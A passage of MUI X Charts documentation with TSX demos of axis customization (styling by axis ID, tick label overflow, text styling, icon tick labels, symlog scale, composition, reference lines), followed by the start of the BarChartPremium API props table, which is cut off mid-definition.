  new Date(2015, 9, 1),
  new Date(2015, 10, 1),
  new Date(2015, 11, 1),
  new Date(2016, 0, 1),
];
const a = [
  4000, 3000, 2000, 2780, 1890, 2390, 3490, 2400, 1398, 9800, 3908, 4800, 2040,
];
const b = [
  2400, 1398, 9800, 3908, 4800, 3800, 4300, 2181, 2500, 2100, 3000, 2000, 2040,
];

const getPercents = (array: number[]) =>
  array.map((v, index) => (100 * v) / (a[index] + b[index]));

const chartConfig = {
  height: 200,
  margin: { left: 0 },
  series: [
    {
      data: getPercents(a),
      label: 'Income',
      valueFormatter: (value: number | null) => `${(value ?? 0).toFixed(0)}%`,
    },
    {
      data: getPercents(b),
      label: 'Expenses',
      valueFormatter: (value: number | null) => `${(value ?? 0).toFixed(0)}%`,
    },
  ],
  yAxis: [
    {
      valueFormatter: (value: number | null) => `${(value ?? 0).toFixed(0)}%`,
    },
  ],
} as const;

```

## Axis customization

Beyond the axis definition, there are several other ways to further customize how axes are rendered:

### Styling axes by ID

To target a specific axis by its ID, use the `data-axis-id` attribute as a selector.
This is useful when you have multiple axes and want to style them differently.

In the example below, the revenue axis label is styled with a teal color and the profit axis label with a blue color to match their respective series.

```tsx
import * as React from 'react';
import { LineChart, type LineChartProps } from '@mui/x-charts/LineChart';
import { axisClasses } from '@mui/x-charts/ChartsAxis';

const years = [2010, 2011, 2012, 2013, 2014, 2015];
const revenue = [4000, 3000, 2000, 2780, 1890, 2390];
const profit = [24, 13, 98, 39, 48, 38];

const chartConfig: LineChartProps = {
  xAxis: [{ data: years, scaleType: 'point' }],
  yAxis: [
    { id: 'revenue-axis', label: 'Revenue ($)' },
    { id: 'profit-axis', label: 'Profit (%)', position: 'right' },
  ],
  series: [
    { data: revenue, label: 'Revenue', yAxisId: 'revenue-axis', color: '#02b2af' },
    { data: profit, label: 'Profit', yAxisId: 'profit-axis', color: '#2e96ff' },
  ],
  height: 300,
};

export default function AxisIdStyling() {
  return (
    <LineChart
      sx={{
        // Style the axis with id "revenue-axis"
        [`& .${axisClasses.root}[data-axis-id="revenue-axis"] .${axisClasses.label}`]:
          {
            fill: '#02b2af',
          },
        // Style the axis with id "profit-axis"
        [`& .${axisClasses.root}[data-axis-id="profit-axis"] .${axisClasses.label}`]:
          {
            fill: '#2e96ff',
          },
      }}
      {...chartConfig}
    />
  );
}

```

### Fixing tick label overflow issues

When your tick labels are too long, they're clipped to avoid overflowing.
To reduce clipping due to overflow, you can [apply an angle to the tick labels](/x/react-charts/axis/#text-customization) or [increase the axis size](/x/react-charts/styling/#placement) to accommodate them.
In the demo below, the size of the x- and y-axes is modified to increase the space available for tick labels.

The first and last tick labels may bleed into the margin, and if that margin is not enough to display the label, it might be clipped.
To avoid this, you can use the `margin` prop to increase the space between the chart and the edge of the container.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
import { BarChart } from '@mui/x-charts/BarChart';

export default function MarginAndLabelPosition() {
  const [fixMargin, setFixMargin] = React.useState(true);

  return (
    <Box sx={{ width: '100%' }}>
      <Stack direction="row" spacing={1} sx={{ mb: 2 }}>
        <FormControlLabel
          checked={fixMargin}
          control={
            <Checkbox onChange={(event) => setFixMargin(event.target.checked)} />
          }
          label="Increase axes size"
          labelPlacement="end"
        />
      </Stack>

      <BarChart
        xAxis={[
          {
            scaleType: 'band',
            dataKey: 'code',
            valueFormatter: (value, context) =>
              context.location === 'tick'
                ? value.split('').join('\n')
                : usAirportPassengers.find((item) => item.code === value)!.fullName,
            label: 'airports',
            height: fixMargin ? 75 : undefined,
          },
        ]}
        // Other props
        height={300}
        dataset={usAirportPassengers}
        series={[
          { dataKey: '2018', label: '2018' },
          { dataKey: '2019', label: '2019' },
          { dataKey: '2020', label: '2020' },
          { dataKey: '2021', label: '2021' },
          { dataKey: '2022', label: '2022' },
        ]}
        hideLegend
        yAxis={[
          {
            valueFormatter: (value: number) => `${(value / 1000).toLocaleString()}k`,
            label: 'passengers',
            width: fixMargin ? 85 : undefined,
          },
        ]}
      />
    </Box>
  );
}

const usAirportPassengers = [
  {
    fullName: 'Hartsfield–Jackson Atlanta International Airport',
    code: 'ATL',
    2022: 45396001,
    2021: 36676010,
    2020: 20559866,
    2019: 53505795,
    2018: 51865797,
  },
  {
    fullName: 'Dallas/Fort Worth International Airport',
    code: 'DFW',
    2022: 35345138,
    2021: 30005266,
    2020: 18593421,
    2019: 35778573,
    2018: 32821799,
  },
  {
    fullName: 'Denver International Airport',
    code: 'DEN',
    2022: 33773832,
    2021: 28645527,
    2020: 16243216,
    2019: 33592945,
    2018: 31362941,
  },
  {
    fullName: "O'Hare International Airport",
    code: 'ORD',
    2022: 33120474,
    2021: 26350976,
    2020: 14606034,
    2019: 40871223,
    2018: 39873927,
  },
  {
    fullName: 'Los Angeles International Airport',
    code: 'LAX',
    2022: 32326616,
    2021: 23663410,
    2020: 14055777,
    2019: 42939104,
    2018: 42624050,
  },
  {
    fullName: 'John F. Kennedy International Airport',
    code: 'JFK',
    2022: 26919982,
    2021: 15273342,
    2020: 8269819,
    2019: 31036655,
    2018: 30620769,
  },
  {
    fullName: 'Harry Reid International Airport',
    code: 'LAS',
    2022: 25480500,
    2021: 19160342,
    2020: 10584059,
    2019: 24728361,
    2018: 23795012,
  },
  {
    fullName: 'Orlando International Airport',
    code: 'MCO',
    2022: 24469733,
    2021: 19618838,
    2020: 10467728,
    2019: 24562271,
    2018: 23202480,
  },
  {
    fullName: 'Miami International Airport',
    code: 'MIA',
    2022: 23949892,
    2021: 17500096,
    2020: 8786007,
    2019: 21421031,
    2018: 21021640,
  },
  {
    fullName: 'Charlotte Douglas International Airport',
    code: 'CLT',
    2022: 23100300,
    2021: 20900875,
    2020: 12952869,
    2019: 24199688,
    2018: 22281949,
  },
  {
    fullName: 'Seattle–Tacoma International Airport',
    code: 'SEA',
    2022: 22157862,
    2021: 17430195,
    2020: 9462411,
    2019: 25001762,
    2018: 24024908,
  },
  {
    fullName: 'Phoenix Sky Harbor International Airport',
    code: 'PHX',
    2022: 21852586,
    2021: 18940287,
    2020: 10531436,
    2019: 22433552,
    2018: 21622580,
  },
  {
    fullName: 'Newark Liberty International Airport',
    code: 'EWR',
    2022: 21572147,
    2021: 14514049,
    2020: 7985474,
    2019: 23160763,
    2018: 22797602,
  },
  {
    fullName: 'San Francisco International Airport',
    code: 'SFO',
    2022: 20411420,
    2021: 11725347,
    2020: 7745057,
    2019: 27779230,
    2018: 27790717,
  },
  {
    fullName: 'George Bush Intercontinental Airport',
    code: 'IAH',
    2022: 19814052,
    2021: 16242821,
    2020: 8682558,
    2019: 21905309,
    2018: 21157398,
  },
  {
    fullName: 'Logan International Airport',
    code: 'BOS',
    2022: 17443775,
    2021: 10909817,
    2020: 6035452,
    2019: 20699377,
    2018: 20006521,
  },
  {
    fullName: 'Fort Lauderdale–Hollywood International Airport',
    code: 'FLL',
    2022: 15370165,
    2021: 13598994,
    2020: 8015744,
    2019: 17950989,
    2018: 17612331,
  },
  {
    fullName: 'Minneapolis–Saint Paul International Airport',
    code: 'MSP',
    2022: 15242089,
    2021: 12211409,
    2020: 7069720,
    2019: 19192917,
    2018: 18361942,
  },
  {
    fullName: 'LaGuardia Airport',
    code: 'LGA',
    2022: 14367463,
    2021: 7827307,
    2020: 4147116,
    2019: 15393601,
    2018: 15058501,
  },
  {
    fullName: 'Detroit Metropolitan Airport',
    code: 'DTW',
    2022: 13751197,
    2021: 11517696,
    2020: 6822324,
    2019: 18143040,
    2018: 17436837,
  },
];

```

### Rendering

The demo below illustrates all of the props available to customize axis rendering:

```tsx
import Box from '@mui/material/Box';
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';
import { ScatterChart } from '@mui/x-charts/ScatterChart';
import { Chance } from 'chance';

const chance = new Chance(42);

const data = Array.from({ length: 200 }, () => ({
  x: chance.floating({ min: -25, max: 25 }),
  y: chance.floating({ min: -25, max: 25 }),
})).map((d, index) => ({ ...d, id: index }));

const defaultXAxis = {
  disableLine: false,
  disableTicks: false,
  fontSize: 12,
  label: 'My axis',
  tickSize: 6,
};
export default function AxisCustomization() {
  return (
    <ChartsUsageDemo
      componentName="Alert"
      data={{
        disableLine: { knob: 'switch', defaultValue: false },
        disableTicks: { knob: 'switch', defaultValue: false },
        label: { knob: 'input', defaultValue: 'my axis' },
        tickSize: { knob: 'number', defaultValue: 6 },
      }}
      renderDemo={(props) => (
        <Box sx={{ width: '100%', maxWidth: 400 }}>
          <ScatterChart
            series={[
              {
                type: 'scatter',
                id: 'linear',
                data,
              },
            ]}
            yAxis={[{ position: 'none' }]}
            xAxis={[
              {
                ...defaultXAxis,
                ...props,
              },
            ]}
            height={300}
          />
        </Box>
      )}
      getCode={({
        props,
      }) => `import { ScatterChart } from '@mui/x-charts/ScatterChart';

<ScatterChart
  // ...
  xAxis={{
    disableLine: ${props.disableLine},
    disableTicks: ${props.disableTicks},
    label: "${props.label}",
    tickSize: ${props.tickSize},
  }}
/>
`}
    />
  );
}

```

### Text customization

To customize the text elements (tick labels and axis labels), use the `tickLabelStyle` and `labelStyle` properties of the axis configuration.

When not set, the default values for the `textAnchor` and `dominantBaseline` properties depend on the value of the `angle` property.
You can test how these values behave and relate to one another in the demo below:

```tsx
import Box from '@mui/material/Box';
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';
import { BarChart } from '@mui/x-charts/BarChart';
import { dataset, valueFormatter } from '../dataset/weather';

const chartSetting = {
  height: 300,
};

export default function AxisTextCustomization() {
  return (
    <ChartsUsageDemo
      componentName="Alert"
      data={
        {
          angle: { knob: 'number', defaultValue: 45, min: -180, max: 180 },
          textAnchor: {
            knob: 'select',
            defaultValue: 'undefined',
            options: ['undefined', 'start', 'middle', 'end'],
          },
          dominantBaseline: {
            knob: 'select',
            defaultValue: 'undefined',
            options: ['undefined', 'auto', 'central', 'hanging'],
          },
          fontSize: { knob: 'number', defaultValue: 12 },
          labelFontSize: { knob: 'number', defaultValue: 14 },
        } as const
      }
      renderDemo={(props) => (
        <Box sx={{ width: '100%', maxWidth: 400 }}>
          <BarChart
            dataset={dataset}
            xAxis={[
              {
                dataKey: 'month',
                label: 'months',
                height: 60,
                labelStyle: {
                  fontSize: props.labelFontSize,
                },
                tickLabelStyle: {
                  angle: props.angle,
                  ...(props.textAnchor === 'undefined'
                    ? {}
                    : { textAnchor: props.textAnchor }),
                  ...(props.dominantBaseline === 'undefined'
                    ? {}
                    : { dominantBaseline: props.dominantBaseline }),
                  fontSize: props.fontSize,
                },
              },
            ]}
            series={[
              { dataKey: 'london', label: 'London', valueFormatter },
              { dataKey: 'paris', label: 'Paris', valueFormatter },
              { dataKey: 'newYork', label: 'New York', valueFormatter },
              { dataKey: 'seoul', label: 'Seoul', valueFormatter },
            ]}
            {...chartSetting}
          />
        </Box>
      )}
      getCode={({ props }) => `import { BarChart } from '@mui/x-charts/BarChart';

<BarChart
  // ...
  xAxis={[
    {
      labelStyle: {
        fontSize: ${props.labelFontSize},
      },
      tickLabelStyle: {
        angle: ${props.angle},${
          props.textAnchor === 'undefined'
            ? ''
            : `
        textAnchor: '${props.textAnchor}',`
        }${
          props.dominantBaseline === 'undefined'
            ? ''
            : `
        dominantBaseline: '${props.dominantBaseline}',`
        }
        fontSize: ${props.fontSize},
      },
    },
  ]}
/>`}
    />
  );
}

```

### Adding tick label icons

A `foreignObject` element can be used to render non-SVG elements inside SVGs. You can leverage this to create components that interact with the charts data. In the demo below, custom tick labels are built by displaying an icon below the text.

Bear in mind that using `foreignObject` might prevent charts from being [exported](/x/react-charts/export/).

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import { ChartContainer } from '@mui/x-charts/ChartContainer';
import { BarPlot } from '@mui/x-charts/BarChart';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import { ChartsTextProps } from '@mui/x-charts/ChartsText';
import { iconMap } from '../dataset/company.icons';

function CustomTick(props: ChartsTextProps) {
  const { x, y, text } = props;
  const logo = iconMap[text];

  return (
    <g transform={`translate(${x},${y})`}>
      <foreignObject x={-20} y={-10} width={40} height={40}>
        <div
          style={{
            display: 'flex',
            justifyContent: 'center',
            alignItems: 'center',
          }}
        >
          <Box
            sx={{
              width: '100%',
              height: '100%',
              display: 'flex',
              flexDirection: 'column',
              alignItems: 'center',
              justifyContent: 'center',
            }}
          >
            {logo && (
              <img
                src={logo}
                alt={text}
                style={{
                  width: '40px',
                  height: '40px',
                  objectFit: 'contain',
                }}
              />
            )}
          </Box>
        </div>
      </foreignObject>
    </g>
  );
}

export default function TickLabelImage() {
  return (
    <Box sx={{ width: '100%', maxWidth: 600 }}>
      <ChartContainer
        xAxis={[
          {
            scaleType: 'band',
            data: ['Netflix', 'Alphabet', 'Microsoft'],
            id: 'companies',
          },
        ]}
        yAxis={[{ id: 'revenue', position: 'left', width: 60 }]}
        series={[
          {
            type: 'bar',
            yAxisId: 'revenue',
            data: [39, 350, 245.1],
          },
        ]}
        height={300}
      >
        <BarPlot />
        <ChartsXAxis axisId="companies" slots={{ axisTickLabel: CustomTick }} />
        <ChartsYAxis axisId="revenue" label="FY 2024 revenue in USD Billions" />
      </ChartContainer>
    </Box>
  );
}

```

## Symlog scale

A log scale cannot plot zero because log(0) is undefined.
To overcome this, you can use a symlog scale, which uses a linear scale for values close to zero and a logarithmic scale for the rest.
You can customize the value where the scale switches from linear to logarithmic using the `constant` property, which defaults to 1.

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import ToggleButton from '@mui/material/ToggleButton';
import { BarChart } from '@mui/x-charts/BarChart';
import { LineChart } from '@mui/x-charts/LineChart';

export default function SymlogScale() {
  const [chartType, setChartType] = React.useState('bar');

  const handleChartType = (event: any, newChartType: string) => {
    if (newChartType !== null) {
      setChartType(newChartType);
    }
  };

  return (
    <Stack width="100%" gap={2}>
      <ToggleButtonGroup
        value={chartType}
        exclusive
        onChange={handleChartType}
        aria-label="chart type"
        fullWidth
      >
        {['bar', 'area'].map((type) => (
          <ToggleButton key={type} value={type}>
            {type}
          </ToggleButton>
        ))}
      </ToggleButtonGroup>
      {chartType === 'bar' && <SymlogBarChart />}
      {chartType === 'area' && <SymlogAreaChart />}
    </Stack>
  );
}

function SymlogBarChart() {
  return (
    <BarChart
      xAxis={[{ data: ['group A', 'group B', 'group C'] }]}
      yAxis={[{ scaleType: 'symlog', constant: 1, width: 52 }]}
      series={[
        { data: [4_000, 30, 50] },
        { data: [1, 600, 34] },
        { data: [20, 5, 60_000] },
      ]}
      height={500}
    />
  );
}

function SymlogAreaChart() {
  return (
    <LineChart
      xAxis={[{ data: [1, 2, 3, 5, 8, 10, 12, 15] }]}
      yAxis={[{ scaleType: 'symlog', width: 56 }]}
      series={[
        {
          data: [10, 1_000, 5_000, 10_000, -50_000, 20_000, 100_000, -500],
          area: true,
        },
      ]}
      height={500}
    />
  );
}

```

## Composition

If you're using composition, you must provide the axis settings in the `<ChartContainer />` using the `xAxis` and `yAxis` props.
This provides all the scaling properties to its children, and lets you use the `<XAxis/>` and `<YAxis/>` components as children.

In turn, those components require an `axisId` prop to link them to an axis you defined in the `<ChartContainer />`.
You can choose their position with the `position` prop which accepts `'top'`/`'bottom'` for `<XAxis />` and `'left'`/`'right'` for `<YAxis />`.
The props described in the [rendering playground above](/x/react-charts/axis/#rendering) are also available.

```tsx
import Box from '@mui/material/Box';
import { ChartContainer } from '@mui/x-charts/ChartContainer';
import { LinePlot } from '@mui/x-charts/LineChart';
import { BarPlot } from '@mui/x-charts/BarChart';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';

export default function AxisWithComposition() {
  return (
    <Box sx={{ width: '100%', maxWidth: 600 }}>
      <ChartContainer
        xAxis={[
          {
            scaleType: 'band',
            data: ['Q1', 'Q2', 'Q3', 'Q4'],
            id: 'quarters',
            label: 'Quarters',
            height: 50,
          },
        ]}
        yAxis={[
          { id: 'money', position: 'right', width: 65 },
          { id: 'quantities', position: 'left', width: 65 },
        ]}
        series={[
          {
            type: 'line',
            id: 'revenue',
            yAxisId: 'money',
            data: [5645, 7542, 9135, 12221],
          },
          {
            type: 'bar',
            id: 'cookies',
            yAxisId: 'quantities',
            data: [3205, 2542, 3135, 8374],
          },
          {
            type: 'bar',
            id: 'icecream',
            yAxisId: 'quantities',
            data: [1645, 5542, 5146, 3735],
          },
        ]}
        height={400}
      >
        <BarPlot />
        <LinePlot />
        <ChartsXAxis
          axisId="quarters"
          label="2021 quarters"
          labelStyle={{ fontSize: 18 }}
        />
        <ChartsYAxis axisId="quantities" label="# units sold" />
        <ChartsYAxis axisId="money" label="revenue" />
      </ChartContainer>
    </Box>
  );
}

```

### Reference line

Use the `<ChartsReferenceLine />` component to add a reference line to a chart.
You can provide an `x` or a `y` prop for a vertical or horizontal line, respectively, at this value.

You can also add a `label` to this reference line, and position it using the `labelAlign` prop which accepts `'start'`, `'middle'`, and `'end'` values.
Elements can be styled with the `lineStyle` and `labelStyle` props.

```tsx
import Box from '@mui/material/Box';
import { ChartContainer } from '@mui/x-charts/ChartContainer';
import { LinePlot } from '@mui/x-charts/LineChart';
import { LineSeriesType } from '@mui/x-charts/models';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import { ChartsReferenceLine } from '@mui/x-charts/ChartsReferenceLine';

const timeData = [
  new Date(2023, 7, 31),
  new Date(2023, 7, 31, 12),
  new Date(2023, 8, 1),
  new Date(2023, 8, 1, 12),
  new Date(2023, 8, 2),
  new Date(2023, 8, 2, 12),
  new Date(2023, 8, 3),
  new Date(2023, 8, 3, 12),
  new Date(2023, 8, 4),
];

const y1 = [5, 5, 10, 90, 85, 70, 30, 25, 25];
const y2 = [90, 85, 70, 25, 23, 40, 45, 40, 50];

const config = {
  series: [
    { type: 'line', data: y1 },
    { type: 'line', data: y2 },
  ] as LineSeriesType[],
  height: 400,
  xAxis: [
    {
      data: timeData,
      scaleType: 'time',
      valueFormatter: (date: Date) =>
        date.getHours() === 0
          ? date.toLocaleDateString('fr-FR', {
              month: '2-digit',
              day: '2-digit',
            })
          : date.toLocaleTimeString('fr-FR', {
              hour: '2-digit',
            }),
    } as const,
  ],
};

export default function ReferenceLine() {
  return (
    <Box sx={{ width: '100%', maxWidth: 600 }}>
      <ChartContainer {...config}>
        <LinePlot />
        <ChartsReferenceLine
          x={new Date(2023, 8, 2, 9)}
          lineStyle={{ strokeDasharray: '10 5' }}
          labelStyle={{ fontSize: '10', lineHeight: 1.2 }}
          label={`Wake up\n9AM`}
          labelAlign="start"
        />
        <ChartsReferenceLine y={50} label="Middle value" labelAlign="end" />
        <ChartsXAxis />
        <ChartsYAxis />
      </ChartContainer>
    </Box>
  );
}

```

---

# Source: https://mui.com/x/api/charts/bar-chart-premium.md

# BarChartPremium API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Range Bar

## Import

```jsx
import { BarChartPremium } from '@mui/x-charts-premium/BarChartPremium';
// or
import { BarChartPremium } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| series | `Array<object>` | - | Yes |  |
| axisHighlight | `{ x?: 'band' \| 'line' \| 'none', y?: 'band' \| 'line' \| 'none' }` | - | No |  |
| borderRadius | `number` | - | No |  |
| brushConfig | `{ enabled?: bool, preventHighlight?: bool, preventTooltip?: bool }` | - | No |  |
| colors | `Array<string> \| func` | `rainbowSurgePalette` | No |  |
| dataset | `Array<object>` | - | No |  |
| disableAxisListener | `bool` | `false` | No |  |
| grid | `{ horizontal?: bool, vertical?: bool }` | - | No |  |
| height | `number` | - | No |  |
| hiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'bar' }>` | - | No |  |
| hideLegend | `bool` | - | No |  |
| highlightedAxis | `Array<{ axisId: number \| string, dataIndex: number }>` | - | No |  |
| highlightedItem | `{ dataIndex?: number, seriesId: number \| string }` | - | No |  |
| id | `string` | - | No |  |
| initialHiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'bar' }>` | - | No |  |
| initialZoom | `Array<{ axisId: number \| string, end: number, start: number }>` | - | No |  |
| layout | `'horizontal' \| 'vertical'` | `'vertical'` | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| margin | `number \| { bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |
| onAxisClick | `function(event: MouseEvent, data: null \| ChartsAxisData) => void` | - | No |  |
| onHiddenItemsChange | `function(hiddenItems: Array<VisibilityIdentifier>) => void` | - | No |  |
| onHighlightChange | `function(highlightedItem: HighlightItemData \| null) => void` | - | No |  |
| onHighlightedAxisChange | `function(axisItems: Array<AxisItemIdentifier>) => void` | - | No |  |
| onItemClick | `function(event: React.MouseEvent<SVGElement, MouseEvent>, itemIdentifier: BarItemIdentifier \| RangeBarItemIdentifier) => void` | - | No |  |
| onTooltipItemChange | `function(tooltipItem: SeriesItemIdentifier<TSeries> \| null) => void` | - | No |  |
| onZoomChange | `function(zoomData: Array<ZoomData>) => void` | - | No |  |
| renderer | `'svg-batch' \| 'svg-single'` | `'svg-single'` | No |  |
| showToolbar | `bool` | `false` | No |  |
| skipAnimation | `bool` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| tooltipItem | `{ dataIndex: number, seriesId: number \| string, type: 'bar' }` | - | No |  |
| width | `number` | - | No |  |
| xAxis | `Array<{ axis?: 'x', barGapRatio?: number, categoryGapRatio?: number, classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'band', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'point', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'log', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, constant?: number, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'symlog', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'pow', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'sqrt', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, 